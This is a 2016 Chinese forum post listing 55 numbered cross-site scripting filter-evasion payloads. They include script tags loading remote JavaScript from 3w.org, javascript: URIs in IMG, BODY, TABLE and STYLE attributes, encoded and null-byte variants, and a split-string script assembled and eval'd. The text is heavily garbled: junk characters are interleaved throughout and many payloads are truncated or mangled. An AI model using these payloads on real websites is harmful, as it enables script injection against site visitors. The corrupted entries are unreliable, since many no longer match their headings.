(1)普通的XSS JavaScript注入8 {8 ?5 q) ]6 q2 q. ~) \
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>7 Q7 R, m/ Q8 q
(99)另类弹框
* [6 u6 B- ?* H& k8 w- f0 D<q/oncut=alert()>1& q$ ^, F, z Z6 X' g- j. k/ M
<s/onclick=alert()>b
$ D" E- a$ J9 ?; m! d <XSS=" onclick="alert(1)//">clickme</SSX=">6 m, `, Z) y. A+ s
<zzz onclick=alert`1`>clickme</zzz> ' x/ @+ g E! o4 x
<a onclick=alert`1`>clickme</a>
_- x6 \( Y F+ _ e! u<a=">clickme</a=">. f. Q& V! Y2 R8 Y
<a=">clickme</a>, @/ R( }) g3 q
<z=">clickme</z=">* }2 u3 U( D: m
<z onclick=alert`1`>clickme</z>$ P; v. \/ {; Z5 c* e' ?; q
# i( l$ I3 O3 V
(2)IMG标签XSS使用JavaScript命令& G7 R1 z2 e+ j* X. X
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
" d6 F7 P) T1 A4 d' N" }) o
+ m2 e( Q8 f8 b& t, q% H# A(3)IMG标签无分号无引号2 a6 G8 x6 k* \* o5 X( }
<IMG SRC=javascript:alert(‘XSS’)>
) \2 x0 Z) b* Q4 G. A
% F3 m2 u# J g( L, u. ~(4)IMG标签大小写不敏感
* J) T% P/ E! ~$ s7 p<IMG SRC=JaVaScRiPt:alert(‘XSS’)>" D( ] j2 Q* [# T+ h- h8 |
( d) `. ]% ^- b* _9 S+ u! l8 _(5)HTML编码(必须有分号)
, w" n4 ]$ L4 S% o- d: s# d" F<IMG SRC=javascript:alert(“XSS”)>! `) z0 W& B: a) r" y4 l3 X7 O
( @& Y$ K; M5 Q9 }; n(6)修正缺陷IMG标签% z! h0 T; a! J: v G
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
4 d! O4 z+ ~/ Q$ r- `% |
& Y' a# r1 @6 u+ q; o% M" r(7)formCharCode标签(计算器)0 j# e9 l$ B0 {0 B
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
9 a2 G9 {$ @( t \& o$ G y4 \1 n# `% o4 ?/ K. `, h1 O
(8)UTF-8的Unicode编码(计算器)* p8 b' D; j4 Z- I* s O& s
<IMG SRC=jav..省略..S')>5 J, L. j: r# X, U5 m
4 T) H* q) b: B( R4 M% V
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
6 Y# R8 H, l3 F<IMG SRC=jav..省略..S')>6 _6 c+ l( x8 ]
. C" t8 m6 N4 C
(10)十六进制编码也是没有分号(计算器)
. ]9 S0 s! C8 f; B) `0 @<IMG SRC=\'#\'" /span>
) {0 v! A& W, |; d: @. i- I, V2 m3 R/ z/ I) w- @ G
(11)嵌入式标签,将Javascript分开- V" H( `4 x( b2 `4 H
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>' k& e4 `& ]: w0 Y- w# x
7 q) [( D8 C, h$ t5 A8 X
(12)嵌入式编码标签,将Javascript分开
e. R f# }; B% ?: ^" {<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
9 }9 C: w' n e. a" V$ V7 j) i% ]% e& _' y
(13)嵌入式换行符" ?8 ]2 g4 s8 i C9 a( d5 M8 E) J- u
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>2 E; m: q4 H; _ y3 ^9 u" m
* L2 v+ G: T/ |& p& N; f(14)嵌入式回车
8 ~3 Y, {, N5 G, s6 J: U; ]' u<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>3 i" l" v/ @2 t5 I- U; W7 G: O! ~7 z
) W. Z2 F j- }! ]0 x( ^7 @(15)嵌入式多行注入JavaScript,这是XSS极端的例子) j" ]* P" F7 N6 @
<IMG SRC=\'#\'" /span>" U$ S7 j- y+ M, u
$ ]" |. o9 p( ~/ ]/ Y/ G3 l/ A(16)解决限制字符(要求同页面)
$ O4 N1 A. K! e: v( w# W. L% l$ ~0 T<script>z=’document.’</script>( e' m% ] w8 Z$ Q
<script>z=z+’write(“‘</script>
" A& f& y8 C. ?* _<script>z=z+’<script’</script>
5 v; ^) N1 Y, B3 v$ n# k5 m<script>z=z+’ src=ht’</script>3 A: a4 k% a$ F8 D+ R
<script>z=z+’tp://ww’</script>
/ t& `# ]5 K& ?$ Z! _<script>z=z+’w.shell’</script>, w; P5 Q1 r. y N
<script>z=z+’.net/1.’</script>+ v4 n' @! P! [' \* r, o
<script>z=z+’js></sc’</script>
, X2 i: w3 J4 i7 x( E" s<script>z=z+’ript>”)’</script>/ N0 W7 \7 b" n1 B9 V8 [4 k
<script>eval_r(z)</script>0 ]! ^& |& v" z: K Z: C* |
}' y1 Q4 q! J; x5 z4 i' D
(17)空字符8 D0 R3 r( W% A9 o: W' Q
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
' F/ H% b" x5 M0 g- G- l) o2 G/ g& h1 i* K' T
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
2 h) \; h1 l+ T% e) H1 B7 T4 ^. ~8 bperl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
: X* G* @# n/ c$ n
8 H+ F4 o* J8 H" o/ K& `3 x(19)Spaces和meta前的IMG标签
8 u& C* A1 Z! ~+ h% i: A, C( d' u<IMG SRC=\'#\'" javascript:alert(‘XSS’);”>
2 [* w% h; l. P6 { `. I. D8 o
. b; _2 T; J8 r7 w(20)Non-alpha-non-digit XSS
8 E3 m( C' _1 o7 L8 {<SCRIPT/XSS SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>
" f& C- T8 V1 k6 R- ?
7 C `8 h1 A& g# | o(21)Non-alpha-non-digit XSS to 2
8 v( v E4 p9 i2 ]3 F<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)> z2 I% Y: u: n( g1 y3 S- s+ f
- v+ Q# R! O2 n6 Q( |- `% |, l(22)Non-alpha-non-digit XSS to 3, @- a- @% ?/ B- b- y
<SCRIPT/SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>5 D& l. Q# o. Y2 }, r
$ o% |5 ]! V S% Y8 m" ]
(23)双开括号
1 E* G; n1 D4 X3 a<<SCRIPT>alert(“XSS”);//<</SCRIPT>6 N* T9 W, Z6 W: B# {
# l1 I" S8 Z& }4 k$ N: z) I& p(24)无结束脚本标记(仅火狐等浏览器)
0 H$ `; R& p) k) E<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
& R/ |% C- @0 S* H! }& @. M+ F; p8 J) r0 v% T; R. E9 B
(25)无结束脚本标记2
5 h# s/ o; T$ s; ~/ O<SCRIPT SRC=//3w.org/XSS/xss.js>
/ N5 a7 @) J, ^! U3 w0 j
7 S- y! g, W: {$ u" u8 `$ Y(26)半开的HTML/JavaScript XSS' x% K2 z" H& ~5 o; V; j. B1 _5 T1 ?, U
<IMG SRC=\'#\'" /span>
1 b+ W4 c+ P. }+ C0 y, w& B& D" D; X5 Z2 N u
(27)双开角括号
4 i1 b" Z8 I, w' ?5 e% L0 J<iframe src=http://3w.org/XSS.html <
# P; w1 I" [0 {- W! C/ P7 q8 F( |6 X/ K2 @+ k' B7 Q: @
(28)无单引号 双引号 分号
/ l$ h4 `# P, m<SCRIPT>a=/XSS/, W1 ?* s7 O+ P6 C
alert(a.source)</SCRIPT>
4 T% W. U. C8 @) g: _, c& T' V! K0 @7 `6 ~$ A8 {
(29)换码过滤的JavaScript3 Q* x: ?$ K% j/ L
\”;alert(‘XSS’);//
* G- f% ^$ a. ?! B5 j+ q: Y- t6 o$ |4 Q/ }5 L8 u5 [3 o) D" s
(30)结束Title标签+ t, P a2 t/ O* f9 L8 J( L9 [
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
. I1 [3 o; |% b0 P( t+ P8 H3 y: e
(31)Input Image
# G) i' s9 q; P4 V C2 D5 g! {9 {<INPUT SRC=\'#\'" /span># k" e' d: x# ?
& x' [2 c. T% _& C(32)BODY Image
% H9 ~1 W9 R7 @9 Z<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
$ I6 X$ ]* ~& z S' C
/ `" g4 w1 }0 k8 e5 s(33)BODY标签
" K2 K) \2 s* n& J6 s3 a<BODY(‘XSS’)>. M; R$ [+ k7 j9 K
( W0 r/ ~1 C& b# l# O6 l: `(34)IMG Dynsrc; i4 ^4 u2 w; P8 m. z$ @
<IMG DYNSRC=\'#\'" /span>. Z- _ P5 l2 k& B
6 v) s% V% Q e4 I) F(35)IMG Lowsrc f4 ~8 x) I+ b5 y5 U! q
<IMG LOWSRC=\'#\'" /span>. \ P; d& b4 V9 ^
& X* f, A: t& r: ~(36)BGSOUND2 @0 D4 G5 H( t( s" K
<BGSOUND SRC=\'#\'" /span>
' y0 {9 H! v8 p7 K4 B/ H! ?4 P2 `1 A4 s5 y
(37)STYLE sheet6 d a* N1 o6 }" f) B( G
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
, K" _+ C6 R# x0 T7 M( }7 J* \. L" j( a$ V7 U2 X
(38)远程样式表" ^" V: f+ W: k) s9 y5 a0 {
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
6 o& y+ P# d! W8 ?6 }# K6 w( [5 l* c `$ U
(39)List-style-image(列表式)" ]. H+ `4 c& J+ s1 J1 }4 R* Q
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
2 `/ Q& A5 l4 }7 T/ J
6 ]4 x1 B; g. v0 P(40)IMG VBscript
; i3 h6 V% Y( B& @: A<IMG SRC=\'#\'" /STYLE><UL><LI>XSS5 G# ]5 B) q5 [, T r: n0 c, ^
4 t$ O" u" S) E' P& u8 m+ ~(41)META链接url% j, w5 {, G4 T- ^) a
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>5 ?% O8 @+ {2 k' Q$ ?' r C
i% ?; F$ o. ~) Q$ w(42)Iframe. R% W$ m8 O5 g9 q1 Q; e4 W7 }
<IFRAME SRC=\'#\'" /IFRAME>
; ~, R! V3 y4 [
& b( M- P! W! Y( ?; P(43)Frame& o( B4 [% j! {7 o
<FRAMESET><FRAME SRC=\'#\'" /FRAMESET> b) Q. n$ r5 m5 V
! B9 j- p- P+ b. g(44)Table
1 r* C5 h$ W0 ~! a; p3 D: L<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>1 J7 U9 q$ R- a- ]1 E0 l
$ e: o% M- V" V6 C P$ t, ]( r
(45)TD! h7 v' s* ^' |) m, U, w$ j
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>) c4 S6 u& _0 c# B
' K: {9 A: D3 ~
(46)DIV background-image
T5 S+ g$ d; ?<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>$ f$ v- n; B! Q- ~' @& k1 y) G
$ T" J9 l, w" t8 X
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
' Z$ X3 c3 }+ Y. W/ v<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
! Z7 f9 t9 q; Y' e S
% n5 F' v, H& M7 h( ]) z3 F: Q(48)DIV expression
: x' c5 N! l) a0 A- U, ]5 _; w<DIV STYLE=”width: expression_r(alert(‘XSS’));”>2 T( E3 @9 ? Y$ K- D
: g$ T5 ~) ^$ {$ c( V9 b# Q
(49)STYLE属性分拆表达
3 Q/ N, ~9 W* o- `( T<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>* i- i6 f4 h5 \6 d: @
! w& Z1 l8 [5 N4 z& _' W* M- j4 @5 ^
(50)匿名STYLE(组成:开角号和一个字母开头)
; C, t0 k& l: s+ m1 U<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>* `7 R, B* d& g* g% C
+ C9 l9 S T+ [! x! q. }, o8 R5 p) l9 E
(51)STYLE background-image7 K2 ]9 z8 x& f; T( n) E
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
; |7 ~; D- Y$ y/ j5 q+ T9 M1 o0 G6 r4 N1 y6 f/ B! g: ?
(52)IMG STYLE方式6 b" g( }8 X0 x X2 L9 K5 `" i
exppression(alert(“XSS”))’># y! U( H& n' W4 K* p0 `
3 c* T1 f" d! b! A4 I
(53)STYLE background
, ]$ v- o0 x* T; G<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
# M; a- Y! p3 P2 H) B' A$ E
( ~% \: ]' I! U! |& d(54)BASE
/ N% t) \& T. v Z+ J$ j<BASE HREF=”javascript:alert(‘XSS’);//”>3 @' u9 x8 W+ _7 z7 ~3 k& q4 i- H
" ` k# M) \" s, X$ ](55)EMBED标签,你可以嵌入FLASH,其中包涵XSS4 }5 X0 M5 h' _4 C9 T% _
<EMBED SRC=\'#\'" /span>http://3w.org/XSS/xss.swf” ></EMBED>* F/ ~% m* r7 r2 x: s! d, I; g$ P, k+ T
|
发表于 2016-4-28 10:06:15
收藏
支持
反对